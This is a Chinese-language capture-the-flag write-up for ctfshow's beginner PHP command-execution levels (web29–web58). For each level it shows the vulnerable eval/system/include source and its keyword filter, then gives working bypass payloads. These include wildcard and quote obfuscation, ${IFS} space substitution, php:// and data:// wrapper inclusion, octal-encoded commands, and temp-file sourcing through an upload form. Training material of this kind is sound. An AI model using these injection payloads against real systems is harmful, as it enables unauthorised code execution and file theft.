ctfshow web入门 命令执行
ctfshow web29
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
好一个命令执行,过滤了flag字符。那就使用通配符绕过即可
?c=system('cat f*');//glob1(记得右键查看源码)(shell通配符*)
?c=system('cat f?ag.php');//glob2(记得右键查看源码)(shell通配符* )
?c=system('cat f\lag.php');//转义字符实现绕过(记得右键查看源码)
?c=system("cat f''lag.php");(记得右键查看源码)( '' 会被 Shell 视为 空字符串)
?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php//直接将题目变成文件包含漏洞
?c=eval($_GET[1]);&1=system('cat flag.php'); //马中马嵌套过滤(记得右键查看源码)
?c=highlight_file(next(array_reverse(scandir("."))));
ctfshow web30
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag,system,php
?c=passthru('tac f*');

?c=passthru("tac fl''ag.ph''p");

?c=echo tac f*;

?c=echo tac fla''g.ph''p;

?c=cp fla?.p?p 1.txt;#然后访问1.txt


ctfshow web31
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以看到过滤了flag,system,php,cat,sort ,shell,., ,\,说实话这个空格被过滤不仔细看还真看不出来
那么就可以尝试以下paload
/?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php;

/?c=eval($_GET[1]);&1=system('cat flag.php');

/?c=passthru("tac%09f*");

/?c=echotac%09f*;

?c=cp%09fl*%091;



ctfshow web32
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag,system,php,cat,sort,shell,., ,',```,echo,;,(
//特地说明,;可以用?>绕过
大部分基本都过滤了,这里可以考虑使用文件包含绕过
方案一
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
方案二
/?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

ctfshow web33
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag,system,php,cat,sort,shell,., ,',```,echo,;,(,",这次多过滤了一个双引号,依然使用文件包含但是$_GET[]中的键就不可以加双引号了,
方案一
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

方案二
/?c=$nice=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

ctfshow web34
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag,system,php,cat,sort,shell,., ,',```,echo,;,(,",:
ctfshow web36
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag,system,php,cat,sort,shell,., ,',```,echo,;,(,",:,<,=,/,0-9的数字
想要直接命令执行可能性是不大了,尝试文件包含
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[a]?>&a=data://text/plain,<?php%20system("cat%20flag.php");?>(需要查看页面源代码)

?c=include$_GET[a]?>&a=php://input

ctfshow web37
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
突然少了很多过滤一下子有点不习惯,这里直接给你include函数,可以知道这是文件包含,我们可以利用c参数访问目标靶机里的敏感文件
这里特别要说的就是最好使用data伪协议因为它直接内嵌代码,绕过文件路径检查。
php://filter需要指定一个文件路径(如 resource=flag.php),但代码用 preg_match 过滤了 flag 关键字,导致无法直接读取 flag.php。(即使尝试 fl\ 通配符,也可能被拦截或解析失败。)preg_match本质还是为了过滤路径防止其他人访问,但是data伪协议是直接使用代码暴力读取文件内容,不需要特地通过路径访问文件
/?c=data://text/plain,<?php system('tac f*');?>

ctfshow web38
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
可以知道这里过滤了flag,php,file,依然使用data伪协议,因为php被过滤了,所以使用短标签

<font style="color:rgb(64, 64, 64);">/?c=data://text/plain,<?= system('tac f*');?></font>
当然如果你不想这么累死累活的绕过,也可以把正常的恶意代码写好了以后直接转为base64编码
/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

ctfshow web39
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用,当然如果你要是担心的话可以在代码的最后加一个//将自动拼接的.php给注释掉也行
<font style="color:rgb(33, 37, 41);">?c=data://text/plain,<?= system('tac%20f*');?>//</font>(这里的//注释符加不加都无所谓)

ctfshow web40
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
方案一
1.先使用getcwd()函数查看当前工作目录
/?c=print_r(getcwd());

2.使用scandir()函数将工作目录以数组形式输出
?c=print_r(scandir(getcwd()));
发现有flag.php的目录

3.使用array_reverse()函数将数组翻转
?c=print_r(array_reverse(scandir(getcwd())));

4.使用next()函数将数组指针指向flag.php,再使用读取文件函数打印出flag.php的内容
读取文件内容:
- file_get_contents()
- readfile()
- highlight_file()
- show_source()
print_r(show_source(next(array_reverse(scandir(getcwd())))));

方案二
1.使用get_defined_vars()函数返回一个关联数组,包含所有当前作用域内已定义的变量,包括:
- 用户定义的变量
- 超全局变量(GET,G__ET,_POST 等)
- 其他预定义变量
?c=print_r(get_defined_vars());

发现数组第一个变量c貌似就是我们输入的命令,但是这里是二维数组,并且我们要利用的恶意代码在二维数组的第一个,所以可以使用current()函数获取当前指针所对应的一维数组
/?c=print_r(current(get_defined_vars()));

但是这个GET数组里面貌似没有元素含有恶意代码(奇怪了,平时写其他无参数rce都有的),那么这里我们就可以自己写一个进去,
/?c=print_r(next(current(get_defined_vars())));&1=system("tac flag.php");
特别提醒
必须先写出&1=system("tac flag.php");才能print_r(next(current(get_defined_vars())));,不然就会报以下错误
**<font style="color:rgb(0, 0, 0);">Notice</font>**<font style="color:rgb(0, 0, 0);">: Only variables should be passed by reference in </font>**<font style="color:rgb(0, 0, 0);">/var/www/html/index.php(17) : eval()'d code</font>**<font style="color:rgb(0, 0, 0);"> on line </font>**<font style="color:rgb(0, 0, 0);">1</font>**


/?c=print_r(next(current(get_defined_vars())));&1=system("tac flag.php");

接下来直接执行上面恶意代码即可
/?c=eval(next(current(get_defined_vars())));&1=system("tac%20flag.php");

方案三
?c=print_r(scandir(current(localeconv())));

数组翻转再指针向前一次
?c=print_r(next(array_reverse(scandir(current(localeconv())))));

?c=show_source(print_r(next(array_reverse(scandir(current(localeconv()))))));
就可以得到flag了(什么,你说你想看flag,门都没有)
ctfshow web42
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
system($c." >/dev/null 2>&1");
**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">>/dev/null 2>&1</font>** 的作用:
**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">>/dev/null</font>**:将命令的标准输出(stdout)丢弃。**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">2>&1</font>**:将错误输出(stderr)重定向到 stdout(即也丢弃)。- 最终效果:命令执行后无任何回显(但命令依然会执行!)
题目源码的意思就是将c的内容和>/dev/null拼接起来,如果直接输入命令就会被直接重定向到黑洞设备,碰到这种情况的话我们就可以使用**命令分隔符**
如下图
?c=echo%20tac%20flag.php;
**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">;</font>**是 命令分隔符,表示**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">cat flag.php</font>**和**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">>/dev/null 2>&1</font>**是两个独立的命令。- 执行流程:
- 先执行
**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">cat flag.php</font>**(正常打印内容)。 - 再执行
**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">>/dev/null 2>&1</font>**(单独的重定向,不影响前一条命令)。
- 先执行
所以 **<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">cat flag.php</font>** 的输出 不会被丢弃,而是直接显示

/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
当然,我们可以利用命令分隔符
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
%0a//换行符url编码
<font style="color:rgb(33, 37, 41);">?c=echo%20tac%20flag.php||</font>

ctfshow web43
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这次过滤了;,cat,就需要换一个分隔符
?c=tac%20flag.php||

ctfshow web44
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这次过滤了;,cat,flag
?c=tac%20fl*||

?c=tac%20fl''ag.php||

?c=tac%20fl?g.p?p||

?c=tac%20f\lag.php||

ctfshow web45
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里的过滤乍一看貌似还是过滤了;,cat,flag,但是仔细一看发现貌似多过滤了一个空格,那空格可以绕过的就有很多了
/?c=tac%09fl*||(%09绕过)
?c=tac${IFS}$fl*|(${IFS}$绕过)

?c=tac$IFS$1fl''ag.p''hp||($IFS$1绕过)

?c=nl%09fl''ag.p''hp||(nl代替cat命令,%09过滤)

ctfshow web46
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了;,cat,flag,0-9的数字,空格,$,*,那么这道题还是要空格过滤,但是上道题提到的${IFS},$IFS$1都不可用
?c=tac%09fl''ag.p''hp||

?c=tac<fl''ag.p''hp||

?c=tac%09fl''ag.p''hp%0a
ctfshow web47
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了;,cat,flag,0-9的数字,空格,$,*,more,less,head,sort,tail,这次多过滤了一些查看命令用上一道题的命令也可以解出来
ctfshow web48
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了;,cat,flag,0-9的数字,空格,$,*,more,less,head,sort,tail,sed,cut,awk,strings,od,curl,```
这里其实考察的是对于cat命令的过滤,用tac也就是之前两道题的payload即可解决
ctfshow web49
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了;,cat,flag,0-9的数字,空格,$,*,more,less,head,sort,tail,sed,cut,awk,strings,od,curl,```,%这里过滤了%,但是我们使用%09和%20这些url编码没有事,get传参会自动解码使%09变为tab,使%20变为空格,检测的时候就不会被检测出来有%了
/?c=tac<fl''ag.p''hp||

/?c=tac%09fl''ag.p''hp||

ctfshow web50
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
;,cat,flag,0-9的数字,空格,$,*,more,less,head,sort,tail,sed,cut,awk,strings,od,curl,```,%,\x09,\x26,后面两个字符通过十六进制转utf-8后可以知道是tab和&,所以%09是行不通了的,这里用<和<>可以绕过
?c=tac<fl''ag.p''hp||

?c=tac<>fl''ag.p''hp||

ctfshow web51
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了;,cat,flag,0-9的数字,空格,$,*,more,less,head,sort,tail,sed,cut,awk,strings,od,curl,```,%,\x09,\x26,tac把我万能的tac给过滤了这可让我怎么活
?c=t''ac<fl''ag.p''hp||

?c=nl<fl''ag.p''hp||(flag在页面源码里面)

?c=t\ac<fl''ag.p''hp||

?c=mo''re<fl''ag.p''hp||(flag在页面源码里面)

ctfshow web52
2
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了;,cat,flag,0-9的数字,空格,*,more,less,head,sort,tail,sed,cut,awk,strings,od,curl,```,%,\x09,\x26,tac,<,>
兄弟,真的天都塌了,怎么<和>都给我过滤了,仔细一看,$居然没给我过滤,天无绝人之路我只能说
?c=t''ac${IFS}$fl''ag.p''hp||

不是哥们为什么没有爆flag啊,难道没有flag.php?
?c=ls||

这不是存在flag.php吗,后面我到处找空格过滤怎么绕过,尝试了十几次都没成功,突然想起来flag会不会在跟目录下面,遂尝试
?c=ls${IFS}/%0a
我嘞个真的在根目录下啊

<font style="color:rgb(33, 37, 41);">/?c=ca\t${IFS}/fla?||</font>

ctfshow web53
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
过滤了;,cat,flag,0-9的数字,空格,*,more,less,head,sort,tail,sed,cut,awk,strings,od,curl,```,%,\x09,\x26,tac,<,>。
没有过滤$,那就和上题一样使用${IFS}绕过即可,不过这里没有涉及重定向,而是单纯的过滤和输出命令执行命令
?c=ta%27%27c${IFS}fl%27%27ag.p%27%27hp

ctfshow web54
bin
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤了;``cat``flag``0-9 空格``more``wget``less``head``sort``tail``sed``cut``tac``awk``strings``od``curl``nl``scp``rm`````%``\x09``\x26``>``<,但是本题多了*,这其实代表的意思就是任意长度的more啊flag啊这些都会被正则匹配,哪怕是中间穿插字符也会被匹配,比如c12312412at这样的,只要是按序出现cat都会被匹配,那这样的情况只能使用linux的通配符来解,但是单纯ca?不会匹配到cat命令,需要写出完整的路径(因为/bin/cat唯一,/bin/ca?就只会匹配到/bin/cat)

ctfshow web55
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤了 ; a-z 反引号 % \x09 \x26 > < ,写了一会我才发现貌似字母全给过滤了,那就只能使用数字编码来解这个题了(而且是bash能够识别并且转义的八进制数字编码)
解法一
举个例子
$'\143\141\164'
这是 Bash 中的八进制转义字符语法。$'...' 是 Bash 的一种特殊语法,允许在字符串中使用转义字符。
那么首先我们先ls一下康康目录

在cat一下flag.php
<font style="color:rgb(33, 37, 41);">$'\164\141\143' $'\146\154\141\147\56\160\150\160'</font>
这个在bash中会被解析为 <font style="color:rgb(33, 37, 41);">'tac'</font>``<font style="color:rgb(33, 37, 41);">'flag.php'</font>和<font style="color:rgb(33, 37, 41);">tac flag.php</font>是一样的,但是有的同学可能会编码成<font style="color:rgb(33, 37, 41);">$%27\164\141\143%27%20$%27\146\154\141\147\56\160\150\160%27</font>,这个就是<font style="color:rgb(33, 37, 41);">'tac flag.php'</font>在bash中就会被解析为一个单纯的字符串,命令不会被执行

解法二(存在巧合,可能是作者故意将base64放于bin目录下)
同样能够使用?通配符,区区过滤掉字母而已,既然数字没有过滤的话,可以使用base64
构造payload:
?c=/???/????64 ????.???
意思为:?c=/bin/base64 flag.php


解法三(存在巧合性,可能是作者故意将bzip放于bin目录下)
使用/usr/bin/bzip2 对文件进行压缩
构造payload:
?c=/???/???/????2 ????.???
意思为:?c=/usr/bin/bzip2 flag.php
最后访问/flag.php.bz2即可
下载下来的压缩包中包含有flag.php
解法四(无字母rce临时文件上传)
原理
- x09 为 tab键。x26为 “ & ”。
- Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。
- Linux 中
**<font style="color:rgb(216, 59, 100);background-color:rgb(249, 242, 244);">.</font>**(点)命令,或者叫 period,它的作用和**<font style="color:rgb(216, 59, 100);background-color:rgb(249, 242, 244);">source</font>**命令一样,就是用当前的 shell 执行一个文件中的命令。 - ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。
首先我们写一个可以文件上传的html文件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://08305243-92cc-4fbc-a057-342a9d36cd6b.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

再随便上传一个文本文件

第一点/?c=.+/???/????????[@-[]``.表示执行命令,因为没有过滤. 而点命令在linux中是source的缩写,通过点命令,我们可以在没有执行权限的情况下执行sh命令,+表示空格,[@-[]其实我挺好奇能不写成A-Z,但是尝试了页面不给回显(ps:之所以用[@-[]是因为直接用/???/?????????匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母。)
第二点 文本内容和下面分割线不能有空格不然会以为是换行不执行命令了

这里要提醒一句,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了
ctfshow web57
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
过滤了; a-z 0-9``反引号 % \x09 \x26 > <``\x0a``(``{``'``" ````# .,?*-=``[`
可以说过滤的非常完全了,之前的临时文件上传也无法使用了(.和/都给你过滤了),这里没有办法,但是看到flag in 36.php或许是突破口,但是数字不是过滤了吗
利用linux的$(())构造出36
$(())=0
$((~ $(()) ))=-1
(())是用来整数运算的命令,内部可以放表达式,默认相加,通过$((~36)) 可得36取反为-37
综合上述,可以构造payload
:::info
?c=$(($((</font>$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(()))) ))))
:::
payload中标红的地方就是取反,红色里面包含37个$((~$(())))都是-1,默认相加,得到-37后再取反即可得到36

ctfshow web58
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
这不是很简单吗,直接post传参c=system('ls');,然后看下flag在哪就行了啊

六百六十六,给我system函数关了,再试了一下发现passthrru shell_exec``exec全给我过滤了,那就文件包含绕过得了(马中马是不太现实了)

搞渗透不会命令执行怎么行
浙公网安备 33010602011771号